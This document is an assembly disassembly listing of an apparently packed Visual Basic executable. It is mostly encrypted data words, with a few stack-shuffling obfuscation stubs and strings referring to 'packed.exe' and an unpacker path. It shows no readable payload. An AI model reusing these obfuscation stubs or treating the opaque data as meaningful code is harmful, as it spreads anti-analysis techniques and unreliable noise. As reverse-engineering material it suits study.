		dd 7B03D6DEh, 0AD194412h, 2EB3FED9h, 7683819Ch,	447D4BAh
		dd 0AA6D0000h, 907CAD7h, 960B1032h, 0FEDDB195h,	0B5ED9A88h
		dd 9EA44896h, 1C99B33Ah, 0E3F5636h, 12D9B303h, 0ADD1ADA4h
		dd 0AECADD0Eh, 0E5A768A4h, 0E055BD48h, 4390B857h, 11F22EC5h
		dd 22ABB3B0h, 0DFD546E4h, 0B577F924h, 57BA1C15h, 3F7FBD9h
		dd 1E610000h, 0EE320FDFh, 0BEC65BE3h, 878E932Bh, 4955A872h
		dd 0DE1FFA80h, 6E3CBDC1h, 0A4468F93h, 0F38B5A59h, 0CDE236Eh
		dd 0D6E1E870h, 5ACD6278h, 0DAAA01FCh, 8AC7A8B3h, 91BD68D3h
		dd 325B158Ah, 0D38AC827h, 1EC07820h, 888FA9DAh,	6D64C69Dh
		dd 0D9B2F340h, 7CC125C0h, 0F12A835h, 0DE41FF02h, 93FA4061h
		dd 0DFDB354Dh, 0C60F14CDh, 0C426FD4Ah, 11B53879h, 0FDD8B101h
		dd 7DFDB34h, 0E63DEBFEh, 0B32EF433h, 69B636Eh, 0E63DEBFEh
		dd 2081823Ch, 0D6AB3B03h, 330804CDh, 4AE08A13h,	7B17E5FDh
		dd 37F5F89Bh, 57E0227Bh, 0FCDC68C8h, 0FC32A424h, 3449Eh
		dd 8D1DE00h, 5CA1EF72h,	6471B38Eh, 0AF3A7BC6h, 0FDFC021Fh
		dd 0BCA3AC29h, 4ED36B72h, 14E9BD44h, 0D924C60Fh, 0AD7115D8h
		dd 7821345Dh, 9E1CD62h,	975AA7BCh, 3CC1C099h, 2F3CE56Eh
		dd 33064FDFh, 0F7D38AC8h, 137AEA28h, 0D9ACD121h, 50203AE1h
		dd 0ACD11E39h, 1F07E2D9h, 0D1557C61h, 91A6D9ACh, 0D0CE82EBh
		dd 4C884EACh, 0C1FFA975h, 6E0ED053h, 6F08E93h, 0A6ED58C6h
		dd 65DB7B16h, 42h, 0CED7AAECh, 19B43579h, 250E1423h, 0F9F6F7Ch
		dd 0C803D6BFh, 1807D38Ah, 0D2A5533Ah, 0BE65D9ACh, 0D3340382h
		dd 7087D9ACh, 107725CAh, 0FEBE0ED1h, 0AE000000h, 5DC4D22h
		dd 525EA071h, 0EFBA918Fh, 5AA7CA27h, 0BEC09997h, 50522F3Fh
		dd 6433BEC3h, 286900BEh, 8F926FA5h, 6EB20500h, 0C358D463h
		dd 3B869634h, 0A43DEBF6h, 8D9A965Fh, 40452CF6h,	0FAD38ACDh
		dd 8D902AB7h, 3BC37984h, 8C965BA6h, 295AFAA7h, 5FB9E1FAh
		dd 1C75D16Ch, 0D9AD078Eh, 1CF79792h, 28A486A3h,	0BEC60053h
		dd 6CDB2F2Bh, 0F444040Eh, 0EE4A6D64h, 90F9D9ACh, 0D9ACEDC5h
		dd 0AC7BDE45h, 0AE681F66h, 0F39FDFD1h, 3D73DFDDh, 55E22006h
		dd 0E5EC7CCEh, 0DFD0D2D2h, 9B4BCB56h, 55F1F806h, 31B4C6C8h
		dd 216921C2h, 993F01DCh, 73BA101Bh, 1DBDFBDh, 3A450000h
		dd 0A16EBB3h, 0DADA27C7h, 0A3E27F0Fh, 65A9B456h, 3A03C664h
		dd 4A10D925h, 805AABF7h, 0DF6F76BDh, 0E8B23F42h, 0BA9DF454h
		dd 7ECD6276h, 0D7AA2590h, 461B3BCEh, 815B138h, 0D626C409h
		dd 4E0188BAh, 888AF9A9h, 7370D1B5h, 0D1F4E2EBh,	0E934D9ACh
		dd 0D2835233h, 0A3F4D9ACh, 11289619h, 0CB870ED1h, 26220EEh
		dd 8967AFB6h, 0EBh, 5DA0E07Dh, 5AA77CF1h, 0BEC09997h, 879C013Fh
		dd 0B1D38ACCh, 6791DE70h, 0B9731601h, 0C18818E2h, 0D38B64F6h
		dd 0D8B25C3Ah, 8648D56Ch, 6BFB2BEBh, 0CB418896h, 0F63BD67Ch
		dd 6DD23DEBh, 8E1EEE7Ch, 8B11F4C7h, 10E934D3h, 0FA51CF0Eh
		dd 20BB7158h, 0A07FD9ADh, 67B70A1Ah, 2195A029h,	8E95D9ADh
		dd 24EE45F3h, 0E54162DFh, 21597C15h, 42D9D9ADh,	3B4900C0h
		dd 0FFDFD1DEh, 3747DA20h, 88C454B6h, 61F389DFh,	2C0F542Bh
		dd 0ECDFD2ADh, 2D3DED31h, 978D5050h, 0B7C79AB8h, 8F52CE36h
		dd 0B66CBA11h, 0C820h, 8C4D5200h, 0D01D63FEh, 18ED370Ah
		dd 23B6FF42h, 7178869Bh, 302F30D5h, 0C25FEFEEh,	889531C0h
		dd 5DA07A8Bh, 21FD8954h, 75A5B0D9h, 8D65CD62h, 9657A730h
		dd 0E72869F4h, 0DD9579Ah, 8AC87144h, 0DF6AB1D3h, 0A7877A00h
		dd 0A6B1D85Ah, 6AD38AC7h, 5D34E0BFh, 0D8F73A54h, 0DD762A93h
		dd 32EF6406h, 17A22B73h, 0A4FC5E37h, 0E13CD9B2h, 3D535E2Bh
		dd 9A89FCCFh, 0D4760D12h, 0A1854849h, 40ED7DCh,	87FE926Ah
		dd 0A473DB7Fh, 2DB49Eh,	1E3A44Ah, 858CE892h, 525FA278h
		dd 0BDF8918Fh, 3611FC28h, 1CE1208Ch, 23AEF34Eh,	878C11F5h
		dd 6D75C27Eh, 2762E726h, 0A4321042h, 0Dh, 0B3DAAADDh, 0D38AC7A8h
		dd 0BB91BD68h, 9158A7C6h, 3EC3CE9Bh, 0A52C7702h, 4190926Fh
		dd 0E9F03ECBh, 9158A633h, 32C7CE9Bh, 0DC296B06h, 7A878960h
		dd 86858CEh, 8900007Ch,	168242Ch, 8900004Fh, 6268240Ch
		dd 8900002Dh
		dd 0BA52242Ch, 62844A2h, 24348152h, 4F896AB1h, 0B1F18159h
		dd 5A4F896Ah, 242C8B54h, 5104C483h, 0B8243481h,	8F73DC1Dh
		dd 0B9510845h, 8, 3181E901h, 73DC1DB8h,	242C8B59h, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 8B5C2414h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50F6C5
; ---------------------------------------------------------------------------
		db 27h
		dd 76FEB642h, 877A4C9Bh, 0E498FF48h, 53E2B8EAh,	0C5030628h
		dd 0EEF8E0FFh, 2A0B2DE0h, 0CCB6129Ch, 0CE5516B5h, 0E1F93771h
		dd 71F5489Eh, 0E71F7DE1h, 3353765h, 932B19CEh, 33E92FA3h
		dd 4115015Bh, 0C1991F4Ch, 0ACC8018Fh, 0F1607CEAh, 0C8913A15h
		dd 0EEA23647h, 0D40B4E04h, 8AF05FE9h, 20E9218Ah, 2D000000h
		dd 12A150h, 6 dup(0)
		dd 0E9000000h, 5DEh, 3A55EE9Fh,	0AEB986F5h, 0C6211E61h
		dd 7C97B0D9h, 95FC4B33h, 0F49AD395h, 87F33C57h,	186051B8h
		dd 0B1DBC42Fh, 0E3F47F96h, 126FE109h, 0A67E1441h, 0E93A0577h
		dd 0BC3E1BECh, 0B801F6A0h, 1C315D64h, 0EF9CD572h, 0A1E00350h
		dd 3F4B48h, 69A6B3DCh, 0E7602920h, 0E83477B6h, 18EBBC1h
		dd 93D21142h, 83080542h, 2B5198C4h, 1A92F710h, 473A37CEh
		dd 31548823h, 0CCBE8FFCh, 79EF3C7Fh, 0D4731B18h, 0ED47A188h
		dd 444DA49Fh, 0BFE00B34h, 840970C9h, 5F08EBB4h,	0CD1E51C3h
		dd 4BD41714h, 0C706DA82h, 701A5784h, 0C78A82D3h, 4AF583A1h
		dd 0BB8EFE23h, 0E63776D1h, 3A5E0556h, 2444AD47h, 0A09FEB28h
		dd 28EC3073h, 51F37735h, 8180h,	95E63300h, 5FDA6AB6h, 0C3112A52h
		dd 0C6DD6A6h, 0F550ABBBh, 0C3117AF5h, 3EDCEABAh, 0B4C5473Ah
		dd 66155A8Bh, 68E1A8D9h, 0B0E52423h, 0E233107Bh, 44A4ADC3h
		dd 8DEB16EEh, 0F3D7077Ah, 6B111E51h, 1818CD0h, 89000000h
		dd 8B610477h, 473A3B7Fh, 8BD81B92h, 0D3A414Eh, 3A479DD8h
		dd 8CA1F251h, 671142FDh, 0E00BA162h, 0E895B2DDh, 7DA3606Dh
		dd 0CBB074F4h, 602C157Ch, 6EAB8CE7h, 0B3F22320h, 777D16Dh
		dd 0B5C6EB38h, 3BACFCB0h, 399473Ah, 473A3BF7h, 0FAE931Ah
		dd 0DF589FCCh, 0DE4EB399h, 473A3B8Ah, 0E9104C6Fh, 3441A6A5h
		dd 8FAEFF48h, 9B6903F6h, 4B8998B1h, 0EC750708h,	3A19E830h
		dd 0DEA00D47h, 0BEF13C61h, 0EC292E7Fh, 1370A5A2h, 3A197199h
		dd 0D609A447h, 2D206F8Ah, 1389EE5Dh, 473A19C7h,	1340832Ah
		dd 1D34B43Dh, 51F3B770h, 8565h,	777AD00h, 0A1EEEB38h, 0D83D6EDDh
		dd 3A3B3444h, 93D2D947h, 0EC5B244Dh, 340972BFh,	94B9F847h
		dd 3B6DBD6Fh, 2D80473Ah, 7AAB94E4h, 998DEB16h, 42E206D3h
		dd 0BBE40F3Ch, 222774D3h, 0A8B1CA61h, 0B4E80736h, 1243FC8Dh
		dd 4C91AEDDh, 0B3E05F2Fh, 40CC2CC5h, 3A349CACh,	0FB3A7147h
		dd 54CAC55h, 51F3CA58h,	2C1B64B1h, 773BCFFh, 94C8EB38h
		dd 3E89h, 7779100h, 0B2C6EB38h,	270A4489h, 2C1B63C1h, 47749C5h
		dd 0A4D52247h, 2724569Bh, 5C69B7F6h, 3A3B7F80h,	0CE2AD747h
		dd 0F3DBC6BBh, 0D1351h,	3D860000h, 4B467C68h, 8BB8C731h
		dd 77781448h, 0F9DE3B08h, 3A3B1723h, 6DB3FA47h,	0D0691358h
		dd 0C5190AFh, 7DAE99EFh, 0AFFC4B30h, 1C4EFD82h,	0F953D711h
		dd 1F1CF008h, 638ED26Dh, 4793091Ch, 0AA473A3Bh,	57A9C003h
		dd 7A32579Ch, 49184869h, 6166B706h, 0B4D96614h,	7E0E2B69h
		dd 0AD7FA4C5h, 4118289Dh, 0FCE73D70h, 2D7EC9B3h, 1828499Fh
		dd 88E04D41h, 4164C384h, 43EAD14Eh, 9FA8D41Dh, 8414B74h
		dd 5586B986h, 0AECB7418h, 33C4C49h, 0B9C193D2h,	5C411848h
		dd 4895A577h, 35784118h, 589FAEF2h, 0F19B99DFh,	97E43156h
		dd 0CB6B74A8h, 4BD16896h, 18523h, 0AB58EB00h, 65DE0364h
		dd 0C3533CADh, 5FE937E0h, 491843E0h, 0C17E000Dh, 6438519Ch
		dd 4118A054h, 73AEF2B9h, 0B6C6EB38h, 4F3D628Dh,	0F48693F4h
		dd 0B9E70657h, 0B83D4F6Ch, 0FE8CF1ECh, 4819B441h, 3C0772BFh
		dd 6889A8FDh, 0B0E55E2Bh, 0A6C22F75h, 2A45FE8Eh, 0D18B5508h
		dd 44604Bh, 58AE0000h, 85D547A8h, 68473A3Bh, 0BD6DEBFFh
		dd 0B4F7D75Fh, 90981475h, 8511738Dh, 0A7F45338h, 63244584h
		dd 33A0E4CEh, 86A7FD10h, 3AA3A2F6h, 1B5D84C7h, 96F33A36h
		dd 73F41206h, 5DB40791h, 0E586h, 0AB586C00h, 0C6690364h
		dd 3749183Dh, 1744FF8Ah, 4293B0DAh, 7CA1E023h, 0D56E1A17h
		dd 35D0F8B4h, 76454118h, 787D0F2Ah, 0F2EF243Bh,	84EF2E07h
		dd 556F19Bh, 182BDA77h,	0F7543B41h, 460589A6h, 1068C515h
		dd 0A88DC81Ah, 182AA4F4h, 99624941h, 0CDFAA89h,	31386484h
		dd 305855B7h, 0B42F7B31h, 0EBC24118h, 0E4387BA8h, 7394AFDDh
		dd 0AAF65526h, 3B4350A9h, 0B426722Ah, 0E0CB4118h, 6BDDD4A1h
		dd 0B7B5A781h, 2F746F69h, 82C1CDCAh, 9C613B5Eh,	7D4F00B8h
		dd 0ABE8ED3Eh, 0F43D63E0h, 0A66EBF88h, 0F64FBD3Bh, 9B114E0Dh
		dd 4B716D4Fh, 44720BA2h, 202A7668h, 118BEC33h, 4569F60Ch
		dd 815C4C35h, 0D95B3D70h, 74019BADh, 6F142DF2h,	4ADBB531h
		dd 0C772AE61h, 7FBC9DF4h, 0E8ED3E09h, 4ED0E434h, 63A20955h
		dd 525F613Dh, 0AECD1E2Dh, 246B1872h, 0D29502C3h, 0D8E20C1Dh
		dd 76C75584h, 2749226Dh, 0F5024794h, 5960BC87h,	0B0E10833h
		dd 191673CCh, 6580D572h, 85EEE3Fh, 0AA3CE9FFh, 0D623294Fh
		dd 2A499AA9h, 86C1CBF6h, 0E15A226Fh, 47048B88h,	3E87CC19h
		dd 3C497861h, 456CB09Dh, 0C8730534h, 58237089h,	257BBAEBh
		dd 23450C00h, 28C429h, 0F55D8B1Ch, 2D5F9AC6h, 0C6B6FB12h
		dd 6F1F1C7Dh, 3C6083D0h, 316E9h, 0CBFC0000h, 3D067773h
		dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h,	0CC7B0328h
		dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8952696Fh,	4C281E2h
		dd 83000000h, 148704EAh, 24248B24h, 2DE468h, 243C8900h
		dd 784F68h, 24048900h, 54E8BD55h, 0EF890628h, 81242C8Bh
		dd 4C4h, 4EC8300h, 81242489h, 42404h, 81580000h, 4ECh
		dd 243C8900h, 0D0242C81h, 8F2FA254h, 40810840h,	0A254D008h
		dd 24048B2Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 19h
		dd 75D27C18h, 36B83D69h, 306285Ah, 0BFE0FFC5h, 0CB4BFD5Bh
		dd 7509A8DDh, 6845E3CFh, 4919CD10h, 460DBD38h, 0BE08C932h
		dd 0AF5B43F5h, 7F4F1C1Ch, 6846F699h, 730B5C3Eh,	9E2C2002h
		dd 0C669122Ch, 0A44BD395h, 0F167996Fh, 1B4D3254h, 0D313BE77h
		dd 4424D479h, 81477B96h, 20492C04h, 0A9722B3Ch,	0EB73CA30h
		dd 586DBA7Fh, 0E95CDB42h, 0E85F11A8h, 6, 0AC8A597Eh, 0E95BB616h
		dd 0Bh,	6E71A32Ch, 0FC3159E7h, 81C16C64h, 6883C3h, 12E800h
		dd 0C1490000h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h
		dd 0D353BA60h, 5861210Ah, 0BAh,	13348B00h, 81CFB70Fh, 890F8EEh
		dd 1D810F0Eh, 0E8000000h, 13h, 0CE700995h, 0E335F5Bh, 47FCDA4Eh
		dd 0FF728BC5h, 66CE0582h, 5F0BE1BFh, 0D0F1C681h, 72B4214Bh
		dd 6B07F681h, 81664561h, 567D71D9h, 8FF88B66h, 0FFC1304h
		dd 0EA81F9BFh, 72A8589h, 5D97C881h, 0C2813854h,	72A8585h
		dd 14E8h, 93543700h, 0AA59DEF7h, 39BC6D50h, 0B92185E4h
		dd 0C1532D40h, 8158F8FDh, 0FF9888FAh, 1C850FFFh, 0E9000000h
		dd 5, 68493202h, 39E9ADh, 0DE880000h, 8FECE0E4h, 17FC8A09h
		dd 0FD79C37h, 178Dh, 0FE800h, 0A7A30000h, 210CF12Fh, 0F8B6042h
		dd 1079F981h, 595852BBh, 0FFFF3CE9h, 0FCE655FFh, 0F79C57D3h
		dd 0E824E841h, 0Ah, 0F1E1F080h,	4D30CF2Eh, 0FB8BF9D0h
		dd 0C381FC5Bh, 598Eh, 163A68h, 0BFE08100h, 59185454h, 7E8h
		dd 0F3E88600h, 0DBF7666Ch, 7DF8166h, 138B58C0h,	13E8h
		dd 0C3109100h, 14031B01h, 38605904h, 8A7D6839h,	0FC5AA7E8h
		dd 0CCDBE681h, 815F1913h, 635F5CF2h, 0D5C28127h, 811FA418h
		dd 0C4B028F2h, 52C18B05h, 8FC3BF0Fh, 0F38B6603h, 0B401EB83h
		dd 4B4B4B94h, 13E8h, 0CF620500h, 9A1C4D44h, 4BDA477Bh
		dd 5C9D5E31h, 373EDF12h, 911837B8h, 0E9815E72h,	1, 0FF90850Fh
		dd 810FFFFFh, 2, 8D8DF18Bh, 6285DAFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 9AC35646h, 23F50049h, 2216299Dh
		dd 0F18D8906h, 60062233h, 14859D89h, 0BE660622h, 0C7612457h
		dd 222D3185h, 6AA806h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 85C74582h, 62230E5h, 0
		dd 11E9h, 0B1C43900h, 61236A52h, 3A6EDA50h, 0A8DC299Ah
		dd 0B5FF9201h, 6221311h, 28F1BD31h, 95FF0622h, 6222065h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 42C35040h
		dd 0DA8BCC69h, 95FF006Ah, 6223075h, 4BEBC08Bh, 0D2C6A41Dh
		dd 0DDCB47h, 2BC1F979h,	0ED2ADD05h, 24D6B4AFh, 0B28B8556h
		dd 6EEF3886h, 0A9D1EEF5h, 0BFA1F12Ah, 0D3D15803h, 61978FDAh
		dd 0BAE0623Ch, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh
		dd 3A6BB97Ah, 197E4175h, 8D04EDB1h, 285EAD8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CFA0D524h, 20640012h, 33F18D89h, 95890622h,	6223245h
		dd 2D3185C7h, 71A80622h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 23FFD9C3h, 6686E564h
		dd 0C715A7BFh, 2230E585h, 6, 18C88100h,	0FF455178h, 2201E5B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6056C79Bh, 6079D280h, 0FF5B6161h, 22206595h
		dd 6AF506h, 307595FFh, 0C08B0622h, 0D13B19EBh, 0BEF46EECh
		dd 6643FE4Dh, 0B529851Ch, 3117A6E7h, 22233D72h,	0E8CDDD66h
		dd 14h,	4410FCDDh, 0BD6273ECh, 181885E5h, 7D1CBE35h, 1ADB6C56h
		dd 5B7AE080h, 5B1B589h,	0C3810622h, 6DABh, 20F5958Bh, 0B90622h
		dd 0E9000000h, 0Bh, 31281E1Bh, 11A7459Dh, 0FFEAB36Dh, 0B70F1934h
		dd 0DE95FF3h, 0B9000000h, 739D3F39h, 6F7F8CBDh,	2EFAD41Eh
		dd 6683EF81h, 0B5897D0Fh, 6222081h, 0BE5CEF81h,	89561A82h
		dd 22260985h, 0C7815A06h, 2DB7D518h, 0B00B3C89h, 0D68B6627h
		dd 0E801E983h, 11h, 40CF3EA7h, 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h
		dd 58D38B73h, 66494949h, 0F981D78Bh, 0FFFF9320h, 0E850Fh
		dd 52B60000h, 1AE9h, 39B10D00h,	0B3B0D307h, 0FFD88166h
		dd 0FF79E9C1h, 0FF17FFFFh, 92804791h, 0E9B00C2Ah, 5, 1CC05EFDh
		dd 56CE900h, 0B4D90000h, 4C3F608Bh, 0E4AB94FFh,	76030C67h
		dd 117DA2CDh, 0DEFDB32h, 628DBAC4h, 97FE4D3Dh, 0A65DEAAh
		dd 0A5CC7705h, 3B4FDDBAh, 0DE411264h, 577E838h,	0BAC4E93Ah
		dd 4F3D628Dh, 0F68693F4h, 0B9F6174Dh, 8ADE4ED3h, 6F473A3Bh
		dd 0DF0C3742h, 0FD1A5D9Ch, 227EC9B0h, 0A8A5D61Bh, 0F62766E1h
		dd 0BB91D702h, 48B578CAh, 7EA2CC2Ch, 97FE4933h,	0A65DEAAh
		dd 9BC87305h, 0AA62857Eh, 84172AD8h, 0FC691158h, 3A241820h
		dd 7FBEFD47h, 0FD7BE62Eh, 94F85127h, 20F68ABh, 7093C17Ah
		dd 0DA059E67h, 9CF05865h, 0CE533940h, 3A430A5Eh, 8DCCEF47h
		dd 0DA749B6Ch, 0E743ADEEh, 8FD06CB9h, 27473A77h, 0D5AE9EDAh
		dd 0BC2F5531h, 0D30ACEF1h, 56EB8378h, 0F875A1FFh, 1151F2FCh
		dd 0BAC27B04h, 33124E81h, 0A1h,	27525F1Bh, 0D3B9C01Ch
		dd 7C020F68h, 15F9ECFh,	3B0228E4h, 41B0473Ah, 0DB6DE027h
		dd 5F8451F3h, 3A37BDCDh, 0B41D1447h, 82D9FA41h,	63A2FEBDh
		dd 1, 490477ABh, 0B1D60740h, 3A3BAFFBh,	286B4247h, 7A5FA4E9h
		dd 3A3B96A2h, 0A1C9A347h, 54473A3Bh, 39F3D859h,	473A3B11h
		dd 2A76A904h, 72757C0Fh, 0AA8D28FEh, 22762643h,	0D7473A08h
		dd 3B70A5E4h, 0B691FB4Eh, 0D6074665h, 73B13722h, 0C7D03B08h
		dd 0E38C1CAh, 37F71AF0h, 234E92D5h, 454C859h, 0E9473A7Bh
		dd 296683C2h, 57B8E45Fh, 2DE65FFFh, 0FB2ACDD6h,	533B469Ah
		dd 18AA7F4h, 0B3DC1142h, 559E4794h, 52B79515h, 1E2D529Fh
		dd 38B0BDCDh, 3EBAB7F2h, 0D3A598E6h, 0D1DE2968h, 2E4390ABh
		dd 0A7A0EC61h, 5AD23776h, 473AE10Eh, 4489C8E3h,	0B4D96217h
		dd 0FB281767h, 0E1FA0E9Eh, 9C1F473Ah, 0B498D059h, 3AE1D0F8h
		dd 37764547h, 0BBCFB819h, 0F25139FFh, 0D443309h, 3A764B9Fh
		dd 0CC0FAE47h, 384FA990h, 51F38D55h, 7980h, 7778E00h, 0B8FB4836h
		dd 439466Bh, 598ACD7Ah,	0A6D36A14h, 0EA2D489Dh,	3C0B74B9h
		dd 294FC8EFh, 7EFA7705h, 4FF8818Eh, 0E692DF1Eh,	0B7ED085Dh
		dd 2C47048Ah, 128A9BE3h, 473A3BC6h, 0A2F6A62Bh,	57473A3Bh
		dd 0B1E22564h, 0E1320D7Ch, 346A22Fh, 51F3D95Eh,	427Bh
		dd 777A300h, 0B2C6EB38h, 270A4489h, 2C1B63C1h, 6013F4C5h
		dd 10FF2F2h, 0F218403Dh, 0BB9AED1Ch, 477C965h, 8CF11647h
		dd 3A3BC810h, 528E2D47h, 3A3B6788h, 0C622CF47h,	0F3DBCE83h
		dd 1EB51h, 77330000h, 65DE3B08h, 0CEAC30h, 42BBC8DBh, 0B759BB8Fh
		dd 0F81D2874h, 0D9F11993h, 8924473Ah, 0E55E2E4Bh, 443D9CB0h
		dd 8AC45CF8h, 69D00CFAh, 0D36A150Fh, 31589BA8h,	9DE1342Fh
		dd 920A6FAEh, 4918CB01h, 519ECFEEh, 0C8F9102Bh,	9A2A7BC4h
		dd 4118AD4Ch, 0A183E548h, 300960DBh, 0DEB3FC57h, 0E5B70D43h
		dd 41182CD5h, 0EE327538h, 698EB9C3h, 0B1E25D2Ch, 0F1300F7Ch
		dd 2273CCB0h, 6388DD03h, 0BAFD2E19h, 93F93BBDh,	2CCA1E8Eh
		dd 8C2F4118h, 0A0EF2C4Dh, 0C0127DA3h, 4BD1C48Dh, 0E528h
		dd 0AB58F600h, 0AA690364h, 9B49182Ah, 0CEBAF710h, 0F4533C75h
		dd 0D5884A7h, 48A39CE0h, 4049966Fh, 14E42891h, 60DBA1C8h
		dd 0BB8EFE33h, 32273D0h, 0DB5493C0h, 4AF5879Dh,	6F5E1323h
		dd 377B4BD1h, 0A3000000h, 88DFE65Fh, 4729259Fh,	14E10361h
		dd 538117A7h, 0E7004739h, 73F30535h, 90C5E811h,	3AA4B4C4h
		dd 294F8AC7h, 84E52C24h, 73F320E8h, 4FA61591h, 6D90h, 0AB584200h
		dd 0C6690364h, 3749183Dh, 721A5784h, 488BB8C7h,	0B38CF021h
		dd 9193ED56h, 0F885C2CDh, 0EE32901Ch, 0A3040DDFh, 75F84118h
		dd 0F04B31F3h, 87CC8799h, 95DE8A62h, 0C2334F00h, 5ED91AD9h
		dd 40479h, 11C37FB8h, 214E9FDEh, 0A09BEE5Bh, 69183C61h
		dd 0FA493A0Fh, 0C05B0F9Dh, 0F1BE4568h, 4A69BA89h, 3BF9DDB1h
		dd 2160ECC8h, 0AB584CC6h, 0D1DE0364h, 50EB9EABh, 7CA1E003h
		dd 9159E331h, 8449220Ch, 0C5B7E429h, 5E2E137Ah,	65A4A3EBh
		dd 0B982F704h, 14B2429Bh, 0D2A4A50h, 5D92C37Ch,	0D16E1C31h
		dd 0FD2E618Ch, 0A0F40498h, 9219662Ah, 39ED0BE6h, 0CA42A6B3h
		dd 5283BCCDh, 0D8A4CD13h, 0E633046Fh, 4665B695h, 92ADDF1Ah
		dd 4C9C1075h, 0A1662AA0h, 7AB7D60Ah, 0F2513A0Fh, 0B76582A1h
		dd 662AA063h, 0B7E42796h, 9094D49Dh, 0F73853ECh, 6C69BA85h
		dd 0BEEF5C2Fh, 3CA217Fh, 38000000h, 67773CBh, 0B9C3E83Dh
		dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh,	27529FCCh
		dd 0DDA2CF1Ch, 8BF03D6Eh, 57696FBCh, 0BA52E789h, 4, 835AD701h
		dd 3C8704EFh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 243C895Ch, 5F3C68h, 24148900h, 306168h, 24148900h, 8F3FBBBAh
		dd 9F69BF62h, 0D72968B7h, 4EC815Ah, 89000000h, 4812424h
		dd 424h, 81575A00h, 0EAD242Ch, 428F147Ah, 0ADBD5508h, 1147A0Eh
		dd 0FF5D086Ah, 835A2434h, 3C8B04C4h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 1DD1E95Ch, 50EBFFFAh,	53937064h
		dd 87B8D3EFh, 3062864h,	2CE0FFC5h, 317D4B01h, 0F962650Ch
		dd 4935B0D5h, 0A55C2ACDh, 817E8FD1h, 0B74E1C89h, 0A701B4ABh
		dd 737BBA59h, 0CF5E8BBDh, 0AF5DB57Dh, 6669EE9h,	2D4701E0h
		dd 89529FA6h, 0CA0C2D29h, 136114FEh
		dd 0DF4AFC44h, 4955FE4Dh, 93168C3Fh, 9A6EFAE7h,	284C4888h
		dd 6D5AC7EFh, 0C4271FDCh, 0A57FC9A4h, 9E0EC6A0h, 0C0606096h
		dd 0AA4F7293h, 0E928D3D3h, 176h, 35CC5363h, 77E705C5h
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h
		dd 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 6 dup(0)
		dd 6E90000h, 6800001Dh,	6286941h, 0FA1BCAE9h, 6A2168FFh
		dd 0C0E90628h, 68FFFA1Bh, 6286B32h, 0FA1BB6E9h,	6C1668FFh
		dd 0ACE90628h, 68FFFA1Bh, 6286C55h, 0FA1BA2E9h,	6D3368FFh
		dd 98E90628h, 68FFFA1Bh, 6286D86h, 0FA1B8EE9h, 6DD968FFh
		dd 84E90628h, 68FFFA1Bh, 62875C4h, 0FA1B7AE9h, 765E68FFh
		dd 70E90628h, 68FFFA1Bh, 6287704h, 0FA1B66E9h, 77E968FFh
		dd 5CE90628h, 68FFFA1Bh, 628786Bh, 0FA1B52E9h, 793168FFh
		dd 48E90628h, 68FFFA1Bh, 62879FAh, 0FA1B3EE9h, 7AAD68FFh
		dd 34E90628h, 68FFFA1Bh, 628813Ah, 0FA1B2AE9h, 822E68FFh
		dd 20E90628h, 68FFFA1Bh, 62882CCh, 0FA1B16E9h, 68D3BAFFh
		dd 0DC6B1001h, 44038CB5h, 0AA95E42Dh, 13305E43h, 0A5EE8EF8h
		dd 1E036AD9h, 8BB4DF6Ch, 0E62B42FDh, 9B42AD96h,	5C1A2EFEh
		dd 5BFF4112h, 3A0577CBh, 8FB8C4E9h, 105F1464h, 43CE25F7h
		dd 0DCDF4918h, 654A8Fh,	18325C6Ch, 2AFAB141h, 4118321Eh
		dd 0C264B8F3h, 411832B2h, 3D6ED9AFh, 3B2B0744h,	0FC35DB95h
		dd 0FD66B790h, 4191B81Bh, 925F2D99h, 0F57CD056h, 34215C73h
		dd 3B784BD1h, 67AEF24Dh, 53h, 64AB58AFh, 3A4EDE03h, 0DF473A3Bh
		dd 6C5180DCh, 0B0EC5B2Fh, 1841E516h, 0AA319249h, 0F921E8D4h
		dd 0DC1F2851h, 0F1228980h, 0DC403394h, 40F1DC52h, 91DC013Eh
		dd 5478025Eh, 0AA411841h, 0CB86C92Fh, 224BD161h, 489DAAD5h
		dd 0AAED5623h, 0E9AF76h, 77770000h, 78801C05h, 9D473A3Bh
		dd 0C9BADF1Eh, 0B85BAD6Dh, 0B9CC10FBh, 0E83D0A74h, 698EB9C3h
		dd 0D25E632Ch, 0F07E9ABCh, 0A6C71D5Ch, 0D1380389h, 3A4C637Fh
		dd 0AD96E647h, 248C7542h, 0A103A807h, 2B78C7B3h, 6E8BC908h
		dd 93F0251Eh, 449F286h,	0A251BBD9h, 67603C5Dh, 3049187Bh
		dd 7D0951CBh, 0C1EC4118h, 7519A693h, 276685D6h,	0A8F7ECCCh
